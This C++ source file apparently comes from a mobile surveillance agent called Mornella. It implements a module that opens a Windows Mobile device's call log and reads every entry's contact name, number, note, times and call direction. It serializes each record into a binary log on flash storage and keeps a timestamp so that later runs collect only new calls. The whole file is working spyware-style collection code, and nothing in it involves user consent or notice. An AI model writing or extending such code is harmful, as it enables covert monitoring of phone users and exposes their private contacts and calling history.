Mornella/Mornella_Mobile/CallListBrowser.cpp
#include <new>
#include "CallListBrowser.h"
CallListBrowser::CallListBrowser(void) : m_hPhoneCallLog(NULL), m_dwEntries(0)
{
Serializer = new(std::nothrow) CallListSerializer;
ZeroMemory(&m_ft, sizeof(FILETIME));
}
CallListBrowser::~CallListBrowser(void)
{
delete Serializer;
}
void CallListBrowser::Run(UINT uAgentId)
{
m_uAgentId = uAgentId;
HRESULT hr = PhoneOpenCallLog(&m_hPhoneCallLog);
if (hr != S_OK)
return;
m_dwEntries = getEntriesNumber();
if (m_dwEntries > 0) {
RetrieveCallList();
}
PhoneCloseCallLog(m_hPhoneCallLog);
}
DWORD CallListBrowser::getEntriesNumber()
{
HRESULT hr = NOERROR;
DWORD dwEntrieNum = 0;
hr = PhoneSeekCallLog(m_hPhoneCallLog, CALLLOGSEEK_END, 0, &dwEntrieNum);
if (hr == E_FAIL) {
return 0;
}
// dall'msdn aggiungere una entry
return dwEntrieNum + 1;
}
void CallListBrowser::RetrieveCallList(void)
{
BOOL bLogCreated = FALSE;
HRESULT hr = NOERROR;
UINT uIndex = 0, uLen;
CALLLOGENTRY callEntry;
CallStruct callStruct;
BYTE* pBuf;
// Ci portiamo all'iniziodella lista
hr = PhoneSeekCallLog(m_hPhoneCallLog, CALLLOGSEEK_BEGINNING, 0, NULL);
if (hr == E_FAIL) {
return;
}
ReadMarkupPosition();
while (uIndex < m_dwEntries) {
pBuf = NULL;
uLen = 0;
CLEAN_CALLSTRUCT(callStruct);
ZeroMemory(&callEntry, sizeof(CALLLOGENTRY));
callEntry.cbSize = sizeof(CALLLOGENTRY);
uIndex++;
hr = PhoneGetCallLogEntry(m_hPhoneCallLog, &callEntry);
if (hr != S_OK) {
FREE_CALLLOGENTRY(callEntry);
// se sono all'ultimo elemento breakko altrimenti continuo il loop
if (hr == S_FALSE)
break;
else
continue;
}
BOOL bRet = FillCallEntryStruct(&callEntry, &callStruct, &uLen);
FREE_CALLLOGENTRY(callEntry);
if (bRet == FALSE || uLen < CALLLIST_HEADER_LEN) {
FREE_CALLSTRUCT(callStruct);
continue;
}
pBuf = new(std::nothrow) BYTE[uLen];
if (pBuf == NULL) {
FREE_CALLSTRUCT(callStruct);
continue;
}
Serializer->Serialize(&callStruct, pBuf);
FREE_CALLSTRUCT(callStruct);
if (bLogCreated == FALSE) {
bRet = callListLog.CreateLog(LOGTYPE_CALLLIST, NULL, 0, FLASH);
if (bRet == FALSE) {
SAFE_DELETE(pBuf);
continue;
}
bLogCreated = TRUE;
}
callListLog.WriteLog(pBuf, uLen);
SAFE_DELETE(pBuf);
}
callListLog.CloseLog(FALSE);
WriteMarkupPosition();
}
BOOL CallListBrowser::FillCallEntryStruct(CALLLOGENTRY* TmpCALLLOGENTRY, CallStruct* pTmpCallStruct, UINT* uLen)
{
#define GETSTRING(x, y) \
if (TmpCALLLOGENTRY->x != NULL) { \
len = wcslen(TmpCALLLOGENTRY->x); \
if (len > 0) { \
pTmpCallStruct->y = (UINT) sizeof(TCHAR) * len; \
pTmpCallStruct->x = new(std::nothrow) WCHAR[len+1]; \
ZeroMemory(pTmpCallStruct->x, sizeof(WCHAR)*(len+1)); \
if (pTmpCallStruct->x == NULL) \
pTmpCallStruct->y = 0; \
else{ \
wcscpy_s(pTmpCallStruct->x, len + 1, TmpCALLLOGENTRY->x);\
*uLen += sizeof(DWORD); \
*uLen += pTmpCallStruct->y; \
} \
}else { \
pTmpCallStruct->y = 0; \
} \
}else{ \
pTmpCallStruct->x = NULL; \
pTmpCallStruct->y = 0; \
}
if(TmpCALLLOGENTRY == NULL || pTmpCallStruct == NULL || uLen == NULL)
return FALSE;
if(m_ft.dwHighDateTime != 0 || m_ft.dwLowDateTime != 0) {
ULARGE_INTEGER time1;
ULARGE_INTEGER time2;
time1.HighPart = m_ft.dwHighDateTime;
time1.LowPart = m_ft.dwLowDateTime;
time2.HighPart = TmpCALLLOGENTRY->ftStartTime.dwHighDateTime;
time2.LowPart = TmpCALLLOGENTRY->ftStartTime.dwLowDateTime;
if(time1.QuadPart > time2.QuadPart)
return FALSE;
}
pTmpCallStruct->ftStartTime = TmpCALLLOGENTRY->ftStartTime;
pTmpCallStruct->ftEndTime = TmpCALLLOGENTRY->ftEndTime;
pTmpCallStruct->dwProperties = 0;
if(TmpCALLLOGENTRY->fOutgoing) pTmpCallStruct->dwProperties |= 0x01; // direction of call. (Missed calls are incoming.)
if(TmpCALLLOGENTRY->fConnected) pTmpCallStruct->dwProperties |= 0x02; // Did the call connect? (as opposed to busy, no answer)
if(TmpCALLLOGENTRY->fEnded) pTmpCallStruct->dwProperties |= 0x04; // Was the call ended? (as opposed to dropped)
if(TmpCALLLOGENTRY->fRoam) pTmpCallStruct->dwProperties |= 0x08; // Roaming (vs. local)
*uLen = CALLLIST_HEADER_LEN;
size_t len = 0;
GETSTRING(pszName, uNameSize);
GETSTRING(pszNameType, uNameTypeSize);
GETSTRING(pszNote, uNoteSize);
GETSTRING(pszNumber, uNumberSize);
pTmpCallStruct->cbSize = *uLen;
return TRUE;
}
void CallListBrowser::ReadMarkupPosition()
{
if (callListMarkup.IsMarkup(m_uAgentId)){
BYTE *pDataMarkup = NULL;
UINT len = sizeof(FILETIME);
pDataMarkup = callListMarkup.ReadMarkup(m_uAgentId, &len);
if (pDataMarkup != NULL) {
CopyMemory(&m_ft, pDataMarkup, sizeof(FILETIME));
delete[] pDataMarkup;
}
}
return;
}
void CallListBrowser::WriteMarkupPosition(void)
{
SYSTEMTIME st;
GetSystemTime(&st);
SystemTimeToFileTime(&st, &m_ft);
callListMarkup.WriteMarkup(m_uAgentId,(BYTE *)&m_ft, sizeof(FILETIME));
return;
}
//
void CallListSerializer::Serialize(CallStruct* pTmpCallStruct, PBYTE &pBuf)
{
BYTE *pPtr = pBuf;
CopyMemory(pPtr, pTmpCallStruct, CALLLIST_HEADER_LEN);
pPtr += CALLLIST_HEADER_LEN;
if(pTmpCallStruct->uNameSize > 0){
UINT serlen = _SerializeString(pPtr, pTmpCallStruct->pszName, CALLLIST_STRING_NAME);
pPtr += serlen;
}
if(pTmpCallStruct->uNameTypeSize > 0){
UINT serlen = _SerializeString(pPtr, pTmpCallStruct->pszNameType, CALLLIST_STRING_NAMETYPE);
pPtr += serlen;
}
if(pTmpCallStruct->uNoteSize > 0){
UINT serlen = _SerializeString(pPtr, pTmpCallStruct->pszNote, CALLLIST_STRING_NOTE);
pPtr += serlen;
}
if(pTmpCallStruct->uNumberSize > 0){
UINT serlen = _SerializeString(pPtr, pTmpCallStruct->pszNumber, CALLLIST_STRING_NUMBER);
pPtr += serlen;
}
}
DWORD CallListSerializer::_SerializeString(LPBYTE lpDest, LPTSTR lpString, int entryType)
{
ASSERT(lpDest);
DWORD dwStringLength = 0;
if (lpString == NULL)
return 0;
dwStringLength = wcslen(lpString) * sizeof(WCHAR);
if (dwStringLength == 0)
return 0;
// copy prefix and string *** WITHOUT NULL TERMINATOR ***
DWORD prefix = _Prefix(dwStringLength, entryType);
CopyMemory(lpDest, &prefix, sizeof(prefix));
CopyMemory((lpDest + sizeof(prefix)), lpString, dwStringLength);
return sizeof(prefix) + dwStringLength;
}
DWORD CallListSerializer::_Prefix(DWORD dwLength, int entryType)
{
DWORD prefix = dwLength;
prefix &= CALLLIST_TYPE_MASK; // clear type bits
prefix |= (DWORD)entryType;
return prefix;
}